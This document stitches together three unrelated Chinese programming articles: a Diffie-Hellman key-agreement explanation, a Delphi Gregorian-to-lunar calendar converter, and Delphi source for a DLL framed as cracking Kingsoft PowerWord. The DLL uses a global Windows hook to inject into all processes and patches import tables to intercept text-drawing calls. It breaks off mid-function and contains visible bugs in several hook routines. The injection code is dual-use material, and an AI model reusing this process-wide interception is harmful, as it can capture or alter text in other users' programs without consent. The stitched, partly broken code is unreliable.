在本文的末尾,我们来回顾一下公开密钥密码体制的奠基人Diffie和Hellman所提出的 "指数密钥一致协议"(Exponential Key Agreement Protocol),该协议不要求别的安全性 先决条件,允许两名用户在公开媒体上交换信息以生成"一致"的,可以共享的密钥。

协议要求设定两个参数p和g,p是一个大质数,g是模p指数运算的生成元,p和g都是公开 的,系统中任何人都可用。

设想两名用户张小姐和李先生要得出一个共享的密钥,首先各自生成随机数,如果和张 小姐的随机数是a,她由a算出一个公开值。

k[RDa]=g[RUa] mod p发送给李先生。同样,如果李先生的随机数是b,他由b算出一个公开值

k[RDb=g[RUb] mod p发送给张小姐。然后他们收到公开值kb和ka分别用自己的随机数a和b作 模p指数运算,可得

k[RDab]=(k[RDb])[RUa] mod p=(g[RUb])[RUa] mod p=g[RUba] mod p

K[RDba]=(k[RDa])[RUb] mod p=(g[RUa])[RUb] mod p=g[RUab] mod p

两者是相等的,即

k=k[RDab]=k[RDba]

这样,张小姐和李先生经过在公开媒体上交换信息,生成了共享密钥k。

由于p、g、ka和kb都是公开的值,任何人只要能算出模p离散对数loggk[RDa]和loggk[RDb]就得 到了秘密值a或b。因此,Diffie-Hellman密钥一致协议的安全性取决于离散对数计算的困 难性,在p是巨大质数的场合,模p指数运算确实是一个单向函数。

研究表明,在p与n的比特数相同时,模p离散对数计算与n的因数分解计算的困难程度相 当;1991年有实验证明,计算要比因数分解计算略困难一些,即对100(十进)位的p值的离散 对数计算所付出的努力与对110位n值因数分解计算差不多。

模p离散对数方法在前文提及的一些专用数字签名方案中有着实际的应用;同时,为寻 求新的、更好的公开密钥密码体制,基于其他数学理论的离散对数方法是很吸引人的,所谓 "椭圆曲线公开密钥密码体制"就是其中的一种,是当前国际密码学界的一个热点。 (数据处理者注：A[RUx]----表示A的右上脚注为x, A[RDx]----表示A的右下脚注为x

--------------------------------------------------------------------------------


CSDN_文档中心_公历到农历的转换法

发信人: HIFI (~ZZZ), 信区: program
标 题: Re: 公历和农历的关系！
发信站: 交大兵马俑BBS站 (Sun Jul 11 23:26:28 1999), 转信
【 在 star (光明来到乐) 的大作中提到: 】
∶ 有这种算法吗？
∶ 从来没见过
∶ 有的话我也要一份
∶ 【 在 ZiXiM (浙客西蒙) 的大作中提到: 】
给你一个delphi的例程：
（我也是抄的，算法就请自己分析了.）
unit CNYear;
interface
uses sysutils;
type TCNDate = Cardinal;
function DecodeGregToCNDate(dtGreg:TDateTime):TCNDate;
function GetGregDateFromCN(cnYear,cnMonth,cnDay:word;bLeap:Boolean=False):
TDateTime;
function GregDateToCNStr(dtGreg:TDateTime):String;
function isCNLeap(cnDate:TCNDate):boolean;
implementation
const cstDateOrg:Integer=32900; //公历1990-01-27的TDateTime表示 对应农历19
90-01-01
const cstCNYearOrg=1990;
const cstCNTable:array[cstCNYearOrg..cstCNYearOrg + 60] of WORD=( //
unsigned 16-bit
24402, 3730, 3366, 13614, 2647, 35542, 858, 1749, //1997
23401, 1865, 1683, 19099, 1323, 2651, 10926, 1386, //2005
32213, 2980, 2889, 23891, 2709, 1325, 17757, 2741, //2013
39850, 1490, 3493, 61098, 3402, 3221, 19102, 1366, //2021
2773, 10970, 1746, 26469, 1829, 1611, 22103, 3243, //2029
1370, 13678, 2902, 48978, 2898, 2853, 60715, 2635, //2037
1195, 21179, 1453, 2922, 11690, 3474, 32421, 3365, //2045
2645, 55901, 1206, 1461, 14038);
//2050
//建表方法：
// 0101 111101010010 高四位是闰月位置,后12位表示大小月,大月30天,小月29
天,
//闰月一般算小月,但是有三个特例2017/06,2036/06,2047/05
//对于特例则高四位的闰月位置表示法中的最高为设置为1 特殊处理用wLeapNormal变
量
// //2017/06 28330->61098 2036/06 27947->60715 2047/05 23133->55901
//如果希望用汇编,这里有一条信息:农历不会滞后公历2个月.
//将公历转换为农历
//返回:12位年份+4位月份+5位日期
function DecodeGregToCNDate(dtGreg:TDateTime):TCNDate;
var
iDayLeave:Integer;
wYear,wMonth,wDay:WORD;
i,j:integer;
wBigSmallDist,wLeap,wCount,wLeapShift:WORD;
label OK;
begin
result := 0;
iDayLeave := Trunc(dtGreg) - cstDateOrg;
DecodeDate(IncMonth(dtGreg,-1),wYear,wMonth,wDay);
if (iDayLeave < 0) or (iDayLeave > 22295 )then Exit;
//Raise Exception.Create('目前只能算1990-01-27以后的');
//Raise Exception.Create('目前只能算2051-02-11以前的');
for i:=Low(cstCNTable) to High(cstCNTable) do begin
wBigSmallDist := cstCNTable[i];
wLeap := wBigSmallDist shr 12;
if wLeap > 12 then begin
wLeap := wLeap and 7;
wLeapShift := 1;
end else
wLeapShift := 0;
for j:=1 to 12 do begin
wCount:=(wBigSmallDist and 1) + 29;
if j=wLeap then wCount := wCount - wLeapShift;
if iDayLeave < wCount then begin
Result := (i shl 9) + (j shl 5) + iDayLeave + 1;
Exit;
end;
iDayLeave := iDayLeave - wCount;
if j=wLeap then begin
wCount:=29 + wLeapShift;
if iDayLeave < wCount then begin
Result := (i shl 9) + (j shl 5) + iDayLeave + 1 + (1 shl
21);
Exit;
end;
iDayLeave := iDayLeave - wCount;
end;
wBigSmallDist := wBigSmallDist shr 1;
end;
end;
//返回值:
// 1位闰月标志 + 12位年份+4位月份+5位日期 (共22位)
end;
function isCNLeap(cnDate:TCNDate):boolean;
begin
result := (cnDate and $200000) <> 0;
end;
function GetGregDateFromCN(cnYear,cnMonth,cnDay:word;bLeap:Boolean=False):
TDateTime;
var
i,j:integer;
DayCount:integer;
wBigSmallDist,wLeap,wLeapShift:WORD;
begin
// 0101 010010101111 高四位是闰月位置,后12位表示大小月,大月30天,小月
29天,
DayCount := 0;
if (cnYear < 1990) or (cnYear >2050) then begin
Result := 0;
Exit;
end;
for i:= cstCNYearOrg to cnYear-1 do begin
wBigSmallDist := cstCNTable[i];
if (wBIgSmallDist and $F000) <> 0 then DayCount := DayCount + 29;
DayCount := DayCount + 12 * 29;
for j:= 1 to 12 do begin
DayCount := DayCount + wBigSmallDist and 1;
wBigSmallDist := wBigSmallDist shr 1;
end;
end;
wBigSmallDist := cstCNTable[cnYear];
wLeap := wBigSmallDist shr 12;
if wLeap > 12 then begin
wLeap := wLeap and 7;
wLeapShift := 1; //大月在闰月.
end else
wLeapShift := 0;
for j:= 1 to cnMonth-1 do begin
DayCount:=DayCount + (wBigSmallDist and 1) + 29;
if j=wLeap then DayCount := DayCount + 29;
wBigSmallDist := wBigSmallDist shr 1;
end;
if bLeap and (cnMonth = wLeap) then //是要闰月的吗?
DayCount := DayCount + 30 - wLeapShift;
result := cstDateOrg + DayCount + cnDay - 1;
end;
//将日期显示成农历字符串.
function GregDateToCNStr(dtGreg:TDateTime):String;
const hzNumber:array[0..10] of string=('零','一','二','三','四','五','六',
'七','八','九','十');
function ConvertYMD(Number:Word;YMD:Word):string;
var
wTmp:word;
begin
result := '';
if YMD = 1 then begin //年份
while Number > 0 do begin
result := hzNumber[Number Mod 10] + result;
Number := Number DIV 10;
end;
Exit;
end;
if Number<=10 then begin //可只用1位
if YMD = 2 then //月份
result := hzNumber[Number]
else //天
result := '初' + hzNumber[Number];
Exit;
end;
wTmp := Number Mod 10; //个位
if wTmp <> 0 then result := hzNumber[wTmp];
wTmp := Number Div 10; //十位
result:='十'+result;
if wTmp > 1 then result := hzNumber[wTmp] + result;
end;
var
cnYear,cnMonth,cnDay:word;
cnDate:TCNDate;
strLeap:string;
begin
cnDate:= DecodeGregToCNDate(dtGreg);
if cnDate = 0 then begin
result := '输入越界';
Exit;
end;
cnDay := cnDate and $1F;
cnMonth := (cnDate shr 5) and $F;
cnYear := (cnDate shr 9) and $FFF;
//测试第22位,为1表示闰月
if isCNLeap(cnDate) then strLeap:='(闰)' else strLeap := '';
result := '农历' + ConvertYMD(cnYear,1) + '年' + ConvertYMD(cnMonth,2) +
'月'
+ strLeap + ConvertYMD(cnDay,3) ;
end;
end.


CSDN_文档中心_攻破“金山词霸”的技术堡垒！

library PigLatinDll;

uses
Windows,
SysUtils,
Classes,
HookTextUnit in 'HookTextUnit.pas';

function PigLatinWord(s: String): String;
Var start: String; Capitalize, AllCapitals: Boolean; i: Integer; begin
Result:=s;
if length(s)<=1 then exit;
Capitalize:=IsCharUpper(s[1]);
AllCapitals:=True;
for i:=1 to length(s) do begin
if IsCharLower(s[i]) then begin
AllCapitals:=False; break;
end;
end;
start:=lowercase(copy(s,1,2));
if (start[1]<'a') or (start[1]>'z') then exit;
if (start[1] in ['a','e','i','o','u']) then start:='';
if (start<>'ch') and (start<>'th') and (start<>'sh') and (start<>'wh')

and (start<>'qu') and (start<>'kn') and (start<>'wr') then delete(start,2,1);
Result:=copy(s,length(start)+1,length(s))+start;
if start='' then Result:=Result+'yay' else Result:=Result+'ay'; if AllCapitals then result:=Uppercase(Result) else
if Capitalize then result[1]:=Upcase(result[1]);
end;

function IntToRoman(n: Integer): String;
Var i, units, tens, hundreds, thousands: Integer;
begin
If (n>=5000) or (n<=0) then Result:=IntToStr(n) else begin thousands:=n div 1000; n:=n mod 1000;
hundreds:=n div 100; n:=n mod 100;
tens:=n div 10; n:=n mod 10;
units:=n;
Result:='';
for i:=1 to Thousands do begin
Result:=Result+'M';
end;
Case Hundreds of
1: Result:=Result+'C';
2: Result:=Result+'CC';
3: Result:=Result+'CCC';
4: Result:=Result+'CD';
5: Result:=Result+'D';
6: Result:=Result+'DC';
7: Result:=Result+'DCC';
8: Result:=Result+'DCCC';
9: Result:=Result+'CM';
end;
Case Tens of
1: Result:=Result+'X';
2: Result:=Result+'XX';
3: Result:=Result+'XXX';
4: Result:=Result+'XL';
5: Result:=Result+'L';
6: Result:=Result+'LX';
7: Result:=Result+'LXX';
8: Result:=Result+'LXXX';
9: Result:=Result+'XC';
end;
Case Units of
1: Result:=Result+'I';
2: Result:=Result+'II';
3: Result:=Result+'III';
4: Result:=Result+'IV';
5: Result:=Result+'V';
6: Result:=Result+'VI';
7: Result:=Result+'VII';
8: Result:=Result+'VIII';
9: Result:=Result+'IX';
end;
end;
end;

function LatinNumber(s: String): String;
Var n: Integer;
begin
try
n:=StrToInt(s);
Result:=IntToRoman(n);
except
Result:=s;
end;
end;

function Conv(s: String): String;
Var i: Integer; w: String;
begin
Result:='';
try
if s='' then exit;
i:=1;
while (i<=length(s)) do begin
while (i<=length(s)) and (s[i]<=' ') do begin
Result:=Result+s[i];
Inc(i);
end;

// convert any numbers into latin numbers
w:='';
while (i<=length(s)) and (s[i]>='0') and (s[i]<='9') do begin w:=w+s[i];
Inc(i);
end;
Result:=Result+LatinNumber(w);

// add any other symbols unchanged (for now)
w:='';
while (i<=length(s)) and not IsCharAlphaNumeric(s[i]) do begin w:=w+s[i];
Inc(i);
end;
Result:=Result+w;

// convert whole words into pig latin
w:='';
while (i<=length(s)) and IsCharAlpha(s[i]) do begin
w:=w+s[i];
Inc(i);
end;
Result:=Result+PigLatinWord(w);
end;
except
end;
end;

function GetMsgProc(code: integer; removal: integer; msg: Pointer): Integer; stdcall;
begin
Result:=0;
end;

Var HookHandle: THandle;

procedure StartHook; stdcall;
begin
HookHandle:=SetWindowsHookEx(WH_GETMESSAGE, @GetMsgProc, HInstance, 0);
end;

procedure StopHook; stdcall;
begin
UnhookWindowsHookEx(HookHandle);
end;

exports StartHook, StopHook;

begin
HookTextOut(Conv);
end.

====================================================

unit HookTextUnit;

interface
uses Windows, SysUtils, Classes, PEStuff;

type
TConvertTextFunction = function(text: String): String;
TTextOutA = function(hdc: HDC; x,y: Integer; text: PAnsiChar; len: Integer): BOOL; stdcall;
TTextOutW = function(hdc: HDC; x,y: Integer; text: PWideChar; len: Integer): BOOL; stdcall;
TExtTextOutA = function(hdc: HDC; x,y: Integer; Options: DWORD; Clip: PRect;
text: PAnsiChar; len: Integer; dx: PInteger): BOOL; stdcall;
TExtTextOutW = function(hdc: HDC; x,y: Integer; Options: DWORD; Clip: PRect;
text: PWideChar; len: Integer; dx: PInteger): BOOL; stdcall;
TDrawTextA = function(hdc: HDC; text: PAnsiChar; len: Integer; rect: PRect;
Format: DWORD): Integer; stdcall;
TDrawTextW = function(hdc: HDC; text: PWideChar; len: Integer; rect: PRect;
Format: DWORD): Integer; stdcall;
TDrawTextExA = function(hdc: HDC; text: PAnsiChar; len: Integer; rect: PRect;
Format: DWORD; DTParams: PDrawTextParams): Integer; stdcall;
TDrawTextExW = function(hdc: HDC; text: PWideChar; len: Integer; rect: PRect;
Format: DWORD; DTParams: PDrawTextParams): Integer; stdcall;

TTabbedTextOutA = function(hdc: HDC; x,y: Integer; text: PAnsiChar; len: Integer;
TabCount: Integer; TabPositions: PInteger; TabOrigin: Integer): Integer; stdcall;
TTabbedTextOutW = function(hdc: HDC; x,y: Integer; text: PWideChar; len: Integer;
TabCount: Integer; TabPositions: PInteger; TabOrigin: Integer): Integer; stdcall;
TPolyTextOutA = function(hdc: HDC; pptxt: PPOLYTEXTA; count: Integer): BOOL; stdcall;
TPolyTextOutW = function(hdc: HDC; pptxt: PPOLYTEXTW; count: Integer): BOOL; stdcall;

TGetTextExtentExPointA = function(hdc: HDC; text: PAnsiChar; len: Integer;
maxExtent: Integer; Fit: PInteger; Dx: PInteger; Size: Pointer): BOOL; stdcall;
TGetTextExtentExPointW = function(hdc: HDC; text: PWideChar; len: Integer;
maxExtent: Integer; Fit: PInteger; Dx: PInteger; Size: Pointer): BOOL; stdcall;
TGetTextExtentPoint32A = function(hdc: HDC; text: PAnsiChar; len: Integer; Size: Pointer): BOOL; stdcall;
TGetTextExtentPoint32W = function(hdc: HDC; text: PWideChar; len: Integer; Size: Pointer): BOOL; stdcall;
TGetTextExtentPointA = function(hdc: HDC; text: PAnsiChar; len: Integer; Size: Pointer): BOOL; stdcall;
TGetTextExtentPointW = function(hdc: HDC; text: PWideChar; len: Integer; Size: Pointer): BOOL; stdcall;

PPointer = ^Pointer;

TImportCode = packed record
JumpInstruction: Word; // should be $25FF
AddressOfPointerToFunction: PPointer;
end;
PImportCode = ^TImportCode;

procedure HookTextOut(ConvertFunction: TConvertTextFunction);
procedure UnhookTextOut;

implementation

Var
ConvertTextFunction: TConvertTextFunction = nil;
OldTextOutA: TTextOutA = nil;
OldTextOutW: TTextOutW = nil;
OldExtTextOutA: TExtTextOutA = nil;
OldExtTextOutW: TExtTextOutW = nil;
OldDrawTextA: TDrawTextA = nil;
OldDrawTextW: TDrawTextW = nil;
OldDrawTextExA: TDrawTextExA = nil;
OldDrawTextExW: TDrawTextExW = nil;
OldTabbedTextOutA: TTabbedTextOutA = nil;
OldTabbedTextOutW: TTabbedTextOutW = nil;
OldPolyTextOutA: TPolyTextOutA = nil;
OldPolyTextOutW: TPolyTextOutW = nil;
OldGetTextExtentExPointA: TGetTextExtentExPointA = nil;
OldGetTextExtentExPointW: TGetTextExtentExPointW = nil;
OldGetTextExtentPoint32A: TGetTextExtentPoint32A = nil;
OldGetTextExtentPoint32W: TGetTextExtentPoint32W = nil;
OldGetTextExtentPointA: TGetTextExtentPointA = nil;
OldGetTextExtentPointW: TGetTextExtentPointW = nil;

function StrLenW(s: PWideChar): Integer;
Var i: Integer;
begin
if s=nil then begin
Result:=0; exit;
end;
i:=0;
try
while (s[i]<>#0) do inc(i);
except
end;
Result:=i;
end;

function NewTextOutA(hdc: HDC; x,y: Integer; text: PAnsiChar; len: Integer): BOOL; stdcall;
Var s: String;
begin
try
if Len<0 then Len:=strlen(text);
If Len>0 then begin
SetLength(s,len);
FillChar(s[1],len+1,0);
Move(text^,s[1],len);
if @ConvertTextFunction<>nil then
s:=ConvertTextFunction(s);
if @OldTextOutA<>nil then
Result:=OldTextOutA(hdc,x,y,PAnsiChar(s),length(s))
else
Result:=False;
end else Result:=OldTextOutA(hdc,x,y,PAnsiChar(s),0);
except
Result:=False;
end;
end;

function NewTextOutW(hdc: HDC; x,y: Integer; text: PWideChar; len: Integer): BOOL; stdcall;
Var s: WideString;
begin
try
if Len<0 then Len:=strlenW(text);
If Len>0 then begin
SetLength(s,len);
FillChar(s[1],len*2+2,0);
Move(text^,s[1],len*2);
if @ConvertTextFunction<>nil then
s:=ConvertTextFunction(s);
if @OldTextOutW<>nil then
Result:=OldTextOutW(hdc,x,y,PWideChar(s),length(s))
else
Result:=False;
end else Result:=OldTextOutW(hdc,x,y,PWideChar(s),0);
except
Result:=False;
end;
end;
function NewExtTextOutA(hdc: HDC; x,y: Integer; Options: DWORD; Clip: PRect;
text: PAnsiChar; len: Integer; dx: PInteger): BOOL; stdcall;
Var s: String;
begin
try
if Len<0 then Len:=strlen(text); // ???
if Len>0 then begin
SetLength(s,len);
FillChar(s[1],len+1,0);
Move(text^,s[1],len);
if @ConvertTextFunction<>nil then s:=ConvertTextFunction(s); if @OldExtTextOutA<>nil then

Result:=OldExtTextOutA(hdc,x,y,Options,Clip,PAnsiChar(s),length(s),dx) else Result:=False;
end else Result:=OldExtTextOutA(hdc,x,y,Options,Clip,text,0,dx); except
Result:=False;
end;
end;

function NewExtTextOutW(hdc: HDC; x,y: Integer; Options: DWORD; Clip: PRect;
text: PWideChar; len: Integer; dx: PInteger): BOOL; stdcall;
Var s: WideString;
begin
try
if Len<0 then Len:=strlenW(text);
If Len>0 then begin
SetLength(s,len);
FillChar(s[1],len*2+2,0);
Move(text^,s[1],len*2);
if @ConvertTextFunction<>nil then
s:=ConvertTextFunction(s);
if @OldExtTextOutW<>nil then

Result:=OldExtTextOutW(hdc,x,y,Options,Clip,PWideChar(s),length(s),dx) else Result:=False;
end else Result:=OldExtTextOutW(hdc,x,y,Options,Clip,text,0,dx); except
Result:=False;
end;
end;

function NewDrawTextA(hdc: HDC; text: PAnsiChar; len: Integer; rect: PRect;
Format: DWORD): Integer; stdcall;
Var s: String;
begin
try
if Len<0 then Len:=strlen(text); // ???
if Len>0 then begin
SetLength(s,len);
FillChar(s[1],len+1,0);
Move(text^,s[1],len);
if @ConvertTextFunction<>nil then
s:=ConvertTextFunction(s);
if @OldDrawTextA<>nil then
Result:=OldDrawTextA(hdc,PAnsiChar(s),length(s),rect,Format) else Result:=0;
end else Result:=OldDrawTextA(hdc,text,0,rect,Format);
except
Result:=0;
end;
end;

function NewDrawTextW(hdc: HDC; text: PWideChar; len: Integer; rect: PRect;
Format: DWORD): Integer; stdcall;
Var s: WideString;
begin
try
if Len<0 then Len:=strlenW(text);
if len>0 then begin
SetLength(s,len);
FillChar(s[1],len*2+2,0);
Move(text^,s[1],len*2);
if @ConvertTextFunction<>nil then
s:=ConvertTextFunction(s);
if @OldDrawTextW<>nil then
Result:=OldDrawTextW(hdc,PWideChar(s),length(s),rect,Format) else Result:=0;
end else Result:=OldDrawTextW(hdc,text,0,rect,Format);
except
Result:=0;
end;
end;

function NewDrawTextExA(hdc: HDC; text: PAnsiChar; len: Integer; rect: PRect;
Format: DWORD; DTParams: PDrawTextParams): Integer; stdcall;
Var s: String;
begin
try
if Len<0 then Len:=strlen(text);
if len>0 then begin
SetLength(s,len);
FillChar(s[1],len+1,0);
Move(text^,s[1],len);
if @ConvertTextFunction<>nil then
s:=ConvertTextFunction(s);
if @OldDrawTextExA<>nil then

Result:=OldDrawTextExA(hdc,PAnsiChar(s),length(s),rect,Format,DTParams) else Result:=0;
end else Result:=OldDrawTextExA(hdc,text,0,rect,Format,DTParams); except
Result:=0;
end;
end;

function NewDrawTextExW(hdc: HDC; text: PWideChar; len: Integer; rect: PRect;
Format: DWORD; DTParams: PDrawTextParams): Integer; stdcall;
Var s: WideString;
begin
try
if Len<0 then Len:=strlenW(text);
if Len>0 then begin
SetLength(s,len);
FillChar(s[1],len*2+2,0);
Move(text^,s[1],len*2);
if @ConvertTextFunction<>nil then
s:=ConvertTextFunction(s);
if @OldDrawTextExW<>nil then

Result:=OldDrawTextExW(hdc,PWideChar(s),length(s),rect,Format,DTParams) else Result:=0;
end else Result:=OldDrawTextExW(hdc,text,0,rect,Format,DTParams); except
Result:=0;
end;
end;

function NewTabbedTextOutA(hdc: HDC; x,y: Integer; text: PAnsiChar; len: Integer;
TabCount: Integer; TabPositions: PInteger; TabOrigin: Integer): Integer; stdcall;
Var s: AnsiString;
begin
try
if Len<0 then Len:=strlen(text);
if Len>0 then begin
SetLength(s,len);
FillChar(s[1],len+1,0);
Move(text^,s[1],len);
if @ConvertTextFunction<>nil then
s:=ConvertTextFunction(s);
if @OldTabbedTextOutA<>nil then

Result:=OldTabbedTextOutA(hdc,x,y,PAnsiChar(s),length(s),TabCount,TabPositions,TabOrigin)

else Result:=0;
end else
Result:=OldTabbedTextOutA(hdc,x,y,text,0,TabCount,TabPositions,TabOrigin);

except
Result:=0;
end;
end;

function NewTabbedTextOutW(hdc: HDC; x,y: Integer; text: PWideChar; len: Integer;
TabCount: Integer; TabPositions: PInteger; TabOrigin: Integer): Integer; stdcall;
Var s: WideString;
begin
try
if Len<0 then Len:=strlenW(text);
if Len>0 then begin
SetLength(s,len);
FillChar(s[1],len*2+2,0);
Move(text^,s[1],len*2);
if @ConvertTextFunction<>nil then
s:=ConvertTextFunction(s);
if @OldTabbedTextOutW<>nil then
Result:=OldTabbedTextOutW(hdc,x,y,PWideChar(s),length(s),TabCount,TabPositions,TabOrigin)

else Result:=0;
end else
Result:=OldTabbedTextOutW(hdc,x,y,text,0,TabCount,TabPositions,TabOrigin);

except
Result:=0;
end;
end;

function NewPolyTextOutA(hdc: HDC; pptxt: PPOLYTEXTA; count: Integer): BOOL; stdcall;
Var s: String; i: Integer; ppnew: PPOLYTEXTA;
begin
ppnew:=nil;
try
Result:=False;
if Count<0 then exit;
if Count=0 then begin Result:=True; exit; end;
GetMem(ppnew,count*sizeof(TPOLYTEXTA));
For i:=1 to count do begin
ppnew^:=pptxt^;
if ppnew^.n<0 then ppnew^.n:=strlen(ppnew^.PAnsiChar);
if ppnew^.n>0 then begin
SetLength(s,ppnew^.n);
FillChar(s[1],ppnew^.n+1,0);
Move(ppnew^.PAnsiChar,s[1],ppnew^.n);
if @ConvertTextFunction<>nil then
s:=ConvertTextFunction(s);
ppnew^.PAnsiChar:=PAnsiChar(s);
ppnew^.n:=length(s);
if @OldPolyTextOutA<>nil then
Result:=OldPolyTextOutA(hdc,ppnew,1);
end;
Inc(pptxt);
end;
except
Result:=False;
end;
if ppnew<>nil then FreeMem(ppnew);
end;

function NewPolyTextOutW(hdc: HDC; pptxt: PPOLYTEXTW; count: Integer): BOOL; stdcall;
begin
Result:=OldPolyTextOutW(hdc,pptxt,count);
end;

function NewGetTextExtentExPointA(hdc: HDC; text: PAnsiChar; len: Integer;
maxExtent: Integer; Fit: PInteger; Dx: PInteger; Size: Pointer): BOOL; stdcall;
Var s: AnsiString;
begin
try
if Len<0 then Len:=strlen(text);
if Len>0 then begin
SetLength(s,len);
FillChar(s[1],len+1,0);
Move(text^,s[1],len);
if @ConvertTextFunction<>nil then
s:=ConvertTextFunction(s);
if @OldGetTextExtentExPointA<>nil then

Result:=OldGetTextExtentExPointA(hdc,PAnsiChar(s),length(s),maxExtent,Fit,Dx,Size)

else Result:=False;
end else
Result:=OldGetTextExtentExPointA(hdc,text,0,maxExtent,Fit,Dx,Size); except
Result:=False;
end;
end;

Function NewGetTextExtentExPointW(hdc: HDC; text: PWideChar; len: Integer;
maxExtent: Integer; Fit: PInteger; Dx: PInteger; Size: Pointer): BOOL; stdcall;
Var s: WideString;
begin
try
if Len<0 then Len:=strlenW(text);
if Len>0 then begin
SetLength(s,len);
FillChar(s[1],len*2+2,0);
Move(text^,s[1],len);
if @ConvertTextFunction<>nil then
s:=ConvertTextFunction(s);
if @OldGetTextExtentExPointW<>nil then

Result:=OldGetTextExtentExPointW(hdc,PWideChar(s),length(s),maxExtent,Fit,Dx,Size)

else Result:=False;
end else
Result:=OldGetTextExtentExPointW(hdc,text,0,maxExtent,Fit,Dx,Size); except
Result:=False;
end;
end;

function NewGetTextExtentPoint32A(hdc: HDC; text: PAnsiChar; len: Integer; Size: Pointer): BOOL; stdcall;
Var s: AnsiString;
begin
try
if Len<0 then Len:=strlen(text);
if Len>0 then begin
SetLength(s,len);
FillChar(s[1],len+1,0);
Move(text^,s[1],len);
if @ConvertTextFunction<>nil then
s:=ConvertTextFunction(s);
if @OldGetTextExtentPoint32A<>nil then

Result:=OldGetTextExtentPoint32A(hdc,PAnsiChar(s),length(s),Size) else Result:=False;
end else Result:=OldGetTextExtentPoint32A(hdc,text,0,Size);
except
Result:=False;
end;
end;

function NewGetTextExtentPoint32W(hdc: HDC; text: PWideChar; len: Integer; Size: Pointer): BOOL; stdcall;
Var s: WideString;
begin
try
if Len<0 then Len:=strlenW(text);
if Len>0 then begin
SetLength(s,len);
FillChar(s[1],len*2+2,0);
Move(text^,s[1],len);
if @ConvertTextFunction<>nil then
s:=ConvertTextFunction(s);
if @OldGetTextExtentPoint32W<>nil then

Result:=OldGetTextExtentPoint32W(hdc,PWideChar(s),length(s),Size) else Result:=False;
end else Result:=OldGetTextExtentPoint32W(hdc,text,0,Size);
except
Result:=False;
end;
end;
function NewGetTextExtentPointA(hdc: HDC; text: PAnsiChar; len: Integer; Size: Pointer): BOOL; stdcall;
Var s: AnsiString;
begin
try
if Len<0 then Len:=strlen(text);
if Len>0 then begin
SetLength(s,len);
FillChar(s[1],len+1,0);
Move(text^,s[1],len);
if @ConvertTextFunction<>nil then
s:=ConvertTextFunction(s);
if @OldGetTextExtentPointA<>nil then
Result:=OldGetTextExtentPointA(hdc,PAnsiChar(s),length(s),Size) else Result:=False;
end else Result:=OldGetTextExtentPointA(hdc,text,0,Size);
except
Result:=False;
end;
end;

function NewGetTextExtentPointW(hdc: HDC; text: PWideChar; len: Integer; Size: Pointer): BOOL; stdcall;
Var s: WideString;
begin
try
if Len<0 then Len:=strlenW(text);
if Len>0 then begin
SetLength(s,len);
FillChar(s[1],len*2+2,0);
Move(text^,s[1],len);
if @ConvertTextFunction<>nil then
s:=ConvertTextFunction(s);
if @OldGetTextExtentPoint32W<>nil then
Result:=OldGetTextExtentPointW(hdc,PWideChar(s),length(s),Size) else Result:=False;
end else Result:=OldGetTextExtentPointW(hdc,text,0,Size);
except
Result:=False;
end;
end;

function PointerToFunctionAddress(Code: Pointer): PPointer;
Var func: PImportCode;
begin
Result:=nil;
if Code=nil then exit;
try
func:=code;
if (func.JumpInstruction=$25FF) then begin
Result:=func.AddressOfPointerToFunction;
end;
except
Result:=nil;
end;
end;

function FinalFunctionAddress(Code: Pointer): Pointer;
Var func: PImportCode;
begin
Result:=Code;
if Code=nil then exit;
try
func:=code;
if (func.JumpInstruction=$25FF) then begin
Result:=func.AddressOfPointerToFunction^;
end;
except
Result:=nil;
end;
end;

Function PatchAddress(OldFunc, NewFunc: Pointer): Integer;
Var BeenDone: TList;

Function PatchAddressInModule(hModule: THandle; OldFunc, NewFunc: Pointer): Integer;
Var Dos: PImageDosHeader; NT: PImageNTHeaders;
ImportDesc: PImage_Import_Entry; rva: DWORD;
Func: PPointer; DLL: String; f: Pointer; written: DWORD;
begin
Result:=0;
Dos:=Pointer(hModule);
if BeenDone.IndexOf(Dos)>=0 then exit;
BeenDone.Add(Dos);
OldFunc:=FinalFunctionAddress(OldFunc);
if IsBadReadPtr(Dos,SizeOf(TImageDosHeader)) then exit;
if Dos.e_magic<>IMAGE_DOS_SIGNATURE then exit;
NT :=Pointer(Integer(Dos) + dos._lfanew);
// if IsBadReadPtr(NT,SizeOf(TImageNtHeaders)) then exit;

RVA:=NT^.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;

if RVA=0 then exit;
ImportDesc := pointer(integer(Dos)+RVA);
While (ImportDesc^.Name<>0) do begin
DLL:=PChar(Integer(Dos)+ImportDesc^.Name);
PatchAddressInModule(GetModuleHandle(PChar(DLL)),OldFunc,NewFunc); Func:=Pointer(Integer(DOS)+ImportDesc.LookupTable);
While Func^<>nil do begin
f:=FinalFunctionAddress(Func^);
if f=OldFunc then begin
WriteProcessMemory(GetCurrentProcess,Func,@NewFunc,4,written); If Written>0 then Inc(Result);
end;
Inc(Func);
end;
Inc(ImportDesc);
end;
end;

begin
BeenDone:=TList.Create;
try
Result:=PatchAddressInModule(GetModuleHandle(nil),OldFunc,NewFunc); finally
BeenDone.Free;
end;
end;

procedure HookTextOut(ConvertFunction: TConvertTextFunction);
begin
if @OldTextOutA=nil then
@OldTextOutA:=FinalFunctionAddress(@TextOutA);
if @OldTextOutW=nil then
@OldTextOutW:=FinalFunctionAddress(@TextOutW);

if @OldExtTextOutA=nil then
@OldExtTextOutA:=FinalFunctionAddress(@ExtTextOutA);
if @OldExtTextOutW=nil then
@OldExtTextOutW:=FinalFunctionAddress(@ExtTextOutW);

if @OldDrawTextA=nil then
@OldDrawTextA:=FinalFunctionAddress(@DrawTextA);
if @OldDrawTextW=nil then
@OldDrawTextW:=FinalFunctionAddress(@DrawTextW);

if @OldDrawTextExA=nil then
@OldDrawTextExA:=FinalFunctionAddress(@DrawTextExA);
if @OldDrawTextExW=nil then
@OldDrawTextExW:=FinalFunctionAddress(@DrawTextExW);

if @OldTabbedTextOutA=nil then
@OldTabbedTextOutA:=FinalFunctionAddress(@TabbedTextOutA);
if @OldTabbedTextOutW=nil then
@OldTabbedTextOutW:=FinalFunctionAddress(@TabbedTextOutW);

if @OldPolyTextOutA=nil then
@OldPolyTextOutA:=FinalFunctionAddress(@PolyTextOutA);
if @OldPolyTextOutW=nil then
@OldPolyTextOutW:=FinalFunctionAddress(@PolyTextOutW);

if @OldGetTextExtentExPointA=nil then

@OldGetTextExtentExPointA:=FinalFunctionAddress(@GetTextExtentExPointA);

if @OldGetTextExtentExPointW=nil then

@OldGetTextExtentExPointW:=FinalFunctionAddress(@GetTextExtentExPointW);

if @OldGetTextExtentPoint32A=nil then

